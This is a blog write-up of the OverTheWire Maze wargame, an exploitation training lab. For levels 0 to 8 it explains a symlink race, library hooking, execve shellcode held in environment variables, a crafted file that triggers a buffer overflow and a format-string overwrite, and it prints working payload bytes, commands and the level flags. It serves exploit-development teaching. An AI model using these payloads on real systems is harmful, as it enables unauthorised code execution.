Overthewire Maze Wargame
Contents
Description:
You’ll need knowledge of exploitation-techniques, programming (of course) and reverse-
engineering. We’ve tried to make the levels tricky and some of them strange, so get ready to use gdb.
All the password are stored in /etc/maze_pass/maze[level]
.
Level 0
If we decompile the program, we can get pseudocode as follows.
|
|
It checks if /tmp/128ecf542a35ac5270a87dc740918404
exists, read it, and write to the screen. We can simply make a symbolic link to /etc/mass_pass/maze1
called /tmp/128ecf542a35ac5270a87dc740918404
.
However, it is not that easy. If we are user maze0
, we cannot “access” /etc/mass_pass/maze1
. We need to make /tmp/128ecf542a35ac5270a87dc740918404
links to a file we can access and links to /etc/mass_pass/maze1
after we pass the check.
It is a race condition challenge. We can create two scripts.
|
|
|
|
We execute these two scripts in two tabs. With some luck, we can pass the check with /tmp/128ecf542a35ac5270a87dc740918404
links to /etc/maze_pass/maze0
, and open the file when it links to /etc/maze_pass/maze1
.
And we can get the flag hashaachon
.
Level 0 -> Level 1
When we run the program directly, it said ./maze1: error while loading shared libraries: ./libc.so.4: cannot open shared object file: No such file or directory
.
If we decompile the program, its pseudocode is as follows.
|
|
It is just like Utumno Level 0
, where we use function hooking. However, this time we need to open the file to read instead of looking in the memory of the process.
We can create our own puts()
.
|
|
It will read the password and print it out. After gcc -m32 -fPIC -c hookputs.c
and ld -shared -m elf_i386 -o libc.so.4 hookputs.o -ldl
, we can get our password fooghihahr
.
Level 1 -> Level 2
In this program, it has a buffer char buf [8]
, and it does strncpy(code,argv[1],8)
. After that, it will execute the code in the buffer.
We are unable to store shellcode in 8 bytes, so we can store our shellcode in the environment variable using export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0 \x40\xcd\x80")')
. And we can put machine code in our buffer to access this shellcode.
|
|
We write an assembly code pwn.asm
to jump to the address of shellcode 0xffffdf0c
. Later, we use nasm -f elf pwn.asm
, ld -m elf_i386 -s -o pwn pwn.o
, and objump -M intel -d pwn
to get our shellcode \xb8\x0c\xdf\xff\xff\xff\xe0
.
When we run /maze/maze1 $(python -c 'print("\xb8\x0c\xdf\xff\xff\xff\xe0")')
, we can get the shell and the flag beinguthok
.
Level 2 -> Level 3
Basically, there are three parts in this program: fine, l1, d1.
In fine
, it puts the address of d1
into esi
and edi
, puts 44
into ecx
, and puts 0x12345678
into edx
.
In l1
, it puts the contents in esi
, which is the machine code in d1
, into eax
. Later, eax
is xor with edx
, and store back to edi
, become new machine code. This process will continue for 44 times, for all 44 bytes.
When it heads to d1
, it will become a whole new function.
It pops eax
, which contains the address of argv[1]
, and compares argv[1]
to 0x1337c0de
. If they are not equal, it will execute exit(0)
. However, if they are equal, it will execute /bin//sh
.
That is, if we execute ./maze3 $(python -c 'print("\xde\xc0\x37\x13")')
, we can get the shell and the flag deekaihiek
.
Level 3 -> Level 4
If we decompile the program, its pseudocode is as follows.
|
|
It opens argv[1]
, reads 52 bytes and store in ehdr
, moves the cursor ehdr.e_phoff
bytes from the beginning, and reads 32 bytes and store in phdr
. Later, it checks whether ebp-0x30
* ebp-0x31
equals to ebp-0x4c
. Finally, it will check if the size of the file is less than 120 bytes.
After all the checks pass, it will execute that file.
We can create a file with python -c 'print("#!/bin/sh\n"+"/bin/sh\n"+"A"*10+"\x20\x00\x00\x00"+"B"*12 +"\xb8\x2e\x00\x00"+"B"*16)' > hello
. It will run /bin/sh
. ehdr
is at ebp-0x38
, and phdr
is at ebp-0x58
, so ebp-0x30
* ebp-0x31
will be h(0x68)
* s(0x73)
equals to 0x2eb8
, which is at ebp-0x4c
. ehdr.e_phoff
will become 0x20
, so the second read
will start from the first B
.
After /maze/maze4 /tmp/l3o/hello
, we can get the shell and the flag ishipaeroo
.
Level 4 -> Level 5
If we decompile the program, we can get its pseduocode.
|
|
It will ask for Username
and Key
, and check if both their length are 8. Later, it checks if we use gdb or not. If we do, it will return 0
. Finally, we will go to function foo
, and if we make its return value other than 0
, we can get the shell.
We can translate it into:
|
|
What I think is that I can make pass[i] = p[i]
in the beginning, and we need p[i] unchanged when executing p[i] -= user[i] + 2 * i - 0x41;
. That is, user[i] + 2 * i - 0x41
should be equal to zero.
user
would be "\x41\x3f\x3d\x3b\x39\x37\x35\x33\"
, and pass
would be "\x70\x72\x69\x6e\x74\x6c\x6f\x6c"
. If we change them into characters, they are A?=;9753
and printlol
.
After we key in these two strings as input, we can get the shell and the flag epheghuoli
.
Level 5 -> Level 6
Too hard ~~~ There’s some new protect mechanism in vfprintf.
Level 6 -> Level 7
If we decompile the program, its pseduocode is as follows.
|
|
|
|
We can focus on read(fd, p, size);
in Print_Shdrs
. p
is at ebp - 60
, and if size = 68
, we can control eip
and return to our shellcode. For arguments, we need to set size
to 0x44
, others can be zero, and the two previous read
will have no effects on our buffer overflow. The loop will run only for once if we set num
equals zero.
Again, we put our shellcode in the environment variable export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")')
.
We can make the file with python -c 'print("\x00"*32+"\x00\x00\x00\x00"+"\x00"*10+"\x44\x00"+"\x00\x00" +"\x00\x00\x00\x00"+"\x00"*10+"\x0c\xdf\xff\xff")' > hello
. 0x44
is for argument size
.
After that, we run /maze/maze7 hello
, we can get the shell and the flag pohninieng
.
Level 7 -> Level 8
If we decompile the program, we can get its pseudocode.
|
|
It looks complicated, but we can ignore most of them because what it only does is open a socket on port 1337 in TCP. When somebody connects it, it will ask for password. Whether our answer is correct or not, it sends back useless message.
However, if our answer is incorrect, it will execute snprintf
to store our answer. We can use format string vulnerability in this case. Let’s take a look at strlen@plt
.
We can change 0x8049d34
to the address of our shellcode, and we can get the shell and the flag.
Again, we execute export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")')
to have our shellcode in the environment variable.
On one terminal, we execute maze8
, on the other one, we execute python -c 'print("\x34\x9d\x04\x08\x36\x9d\x04\x08"+"%57092x%1$hn%8435x%2$hn")' | nc localhost 1337
.
If LOB < HOB, we use the [addr][addr+2]%[LOB-8]x%[offset]$hn%[HOB-LOB]x%[offset+1]$hn
formula for our format string vulnerability. The address of shellcode is 0xffffdf0c
.
0xdf0c - 8 = 57092, 0xffff - 0xdf0c = 8435. THe offset can be found with our input AAAA %x ...
, and we see 41414141
in the first doubleword, so the offset is 1.
And we can get the flag jopieyahng
.
Level 8 -> Level 9
Well done! It sure looks like you enjoy swimming in memory.
Author L3o
LastMod 2019-11-19